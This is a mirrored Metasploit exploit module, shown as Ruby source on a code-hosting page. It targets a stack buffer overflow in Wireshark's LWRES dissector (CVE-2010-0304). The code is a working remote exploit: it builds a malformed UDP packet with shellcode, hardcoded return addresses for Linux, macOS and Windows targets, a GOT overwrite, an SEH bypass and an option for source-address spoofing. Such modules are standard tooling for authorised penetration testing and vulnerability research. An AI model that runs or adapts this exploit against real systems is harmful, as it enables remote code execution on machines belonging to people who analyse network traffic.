Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
33297 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
include Msf::Exploit::Capture
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow',
18
'Description' => %q{
19
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
20
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
21
overflow. This bug found and reported by babi.
22
23
This particular exploit targets the dissect_getaddrsbyname_request function. Several
24
other functions also contain potentially exploitable stack-based buffer overflows.
25
26
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
27
exploitation via the return address on the stack. Sending a larger string allows
28
exploitation using the SEH bypass method. However, this packet will usually get
29
fragmented, which may cause additional complications.
30
31
NOTE: The vulnerable code is reached only when the packet dissection is rendered.
32
If the packet is fragmented, all fragments must be captured and reassembled to
33
exploit this issue.
34
},
35
'Author' => [
36
'babi', # original discovery/exploit
37
'jduck', # ported from public exploit
38
'redsand' # windows target/testing
39
],
40
'License' => MSF_LICENSE,
41
'References' => [
42
[ 'CVE', '2010-0304' ],
43
[ 'OSVDB', '61987' ],
44
[ 'BID', '37985' ],
45
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
46
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
47
],
48
'DefaultOptions' => {
49
'EXITFUNC' => 'process'
50
},
51
'Privileged' => true, # at least capture privilege
52
'Payload' => {
53
'Space' => 512,
54
'BadChars' => "\x00",
55
'DisableNops' => true
56
},
57
'Targets' => [
58
[
59
'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
60
# breakpoint: lwres.so + 0x2ce2
61
{
62
'Arch' => ARCH_X86,
63
'Platform' => 'linux',
64
# conveniently, edx pointed at our string..
65
# and so, we write it to g_slist_append's GOT entry just before its called.
66
# pwnt.
67
#
68
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
69
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
70
#
71
'Ret' => 0x804fc85, # see above..
72
'RetOff' => 376,
73
'Readable' => 0x804fa04, # just anything
74
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
75
}
76
],
77
[
78
'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
79
{
80
'Arch' => ARCH_X86,
81
'Platform' => 'linux',
82
# the method for tshark doesn't work, since there aren't any convenient
83
# pointers lying around (in reg/close on stack)
84
#
85
# since the wireshark bin has a jmp esp, we'll just use that method..
86
'Ret' => 0x818fce8, # jmp esp in wireshark bin
87
'RetOff' => 376,
88
'Readable' => 0x8066a40, # just any old readable addr (unused)
89
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
90
}
91
],
92
93
[
94
'wireshark 1.2.5 on RHEL 5.4 (x64)',
95
{
96
'Arch' => ARCH_X64,
97
'Platform' => 'linux',
98
'Ret' => 0xfeedfed5deadbeef,
99
'RetOff' => 152
100
}
101
],
102
103
[
104
'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
105
{
106
'Arch' => ARCH_X86,
107
'Platform' => 'osx',
108
'Ret' => 0xdeadbeef,
109
'RetOff' => 268
110
}
111
],
112
113
# The following target was tested against Windows XP SP3 and Windows Vista
114
[
115
'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
116
{
117
'Arch' => ARCH_X86,
118
'Platform' => 'win',
119
# NOTE: due to the length of this packet, your mileage may vary.
120
'Ret' => 0x61B4121B,
121
# 0x655810b6 = pop/pop/ret in libpango
122
# 0x02A110B6 = pop/pop/ret in libgtk-w
123
# 0x03D710CC = pop/mov/pop/ret in packet
124
# 0x61B4121B = pop/pop/ret in pcre3
125
'RetOff' => 2128
126
}
127
],
128
],
129
'DisclosureDate' => '2010-01-27',
130
'Notes' => {
131
'Reliability' => UNKNOWN_RELIABILITY,
132
'Stability' => UNKNOWN_STABILITY,
133
'SideEffects' => UNKNOWN_SIDE_EFFECTS
134
}
135
)
136
)
137
138
register_options([
139
Opt::RPORT(921),
140
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
141
])
142
143
deregister_options('FILTER', 'PCAPFILE')
144
end
145
146
def exploit
147
check_pcaprub_loaded # Check first
148
149
ret_offset = target['RetOff']
150
151
# we have different techniques depending on the target
152
if (target == targets[0])
153
# debian tshark
154
str = make_nops(ret_offset - payload.encoded.length - 16)
155
str << payload.encoded
156
str << [target['GotAddr'] - 0xc].pack('V')
157
str << rand_text(4)
158
str << [target['Readable']].pack('V')
159
str << rand_text(4)
160
# ret is next
161
elsif (target == targets[1])
162
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-3500').encode_string
163
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
164
str << fix_esp
165
str << payload.encoded
166
# jmp esp...
167
str << [target.ret].pack('V')
168
# jump back
169
distance = ret_offset + 4
170
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string
171
elsif (target == targets[2])
172
str = Rex::Text.pattern_create(ret_offset - 8)
173
str << Rex::Arch.pack_addr(target.arch, 0xdac0ffeebadc0ded)
174
elsif (target == targets[4])
175
# ugh, /GS and UDP length issues :-/
176
str = make_nops(ret_offset - payload.encoded.length)
177
str << payload.encoded
178
str << generate_seh_record(target.ret)
179
# jump back
180
distance = ret_offset + 8
181
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string
182
else
183
# this is just a simple DoS payload
184
str = Rex::Text.pattern_create(ret_offset)
185
# str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
186
end
187
188
# add return address
189
str << Rex::Arch.pack_addr(target.arch, target.ret)
190
191
# form the packet's payload!
192
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
193
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
194
sploit << "\x00\x00\x00\x01"
195
sploit << [str.length].pack('n')
196
sploit << str
197
sploit << "\x00\x00"
198
199
shost = datastore['SHOST']
200
if (shost)
201
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
202
open_pcap
203
204
p = PacketFu::UDPPacket.new
205
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
206
p.ip_daddr = rhost
207
p.udp_sport = rand((2**16) - 1024) + 1024
208
p.udp_dport = datastore['RPORT'].to_i
209
p.payload = sploit
210
p.recalc
211
212
sent = capture_sendto(p, rhost)
213
close_pcap
214
215
handler if sent
216
else
217
print_status("Sending malformed LWRES packet to #{rhost}")
218
connect_udp
219
udp_sock.put(sploit)
220
221
handler
222
disconnect_udp
223
end
224
end
225
end
226
227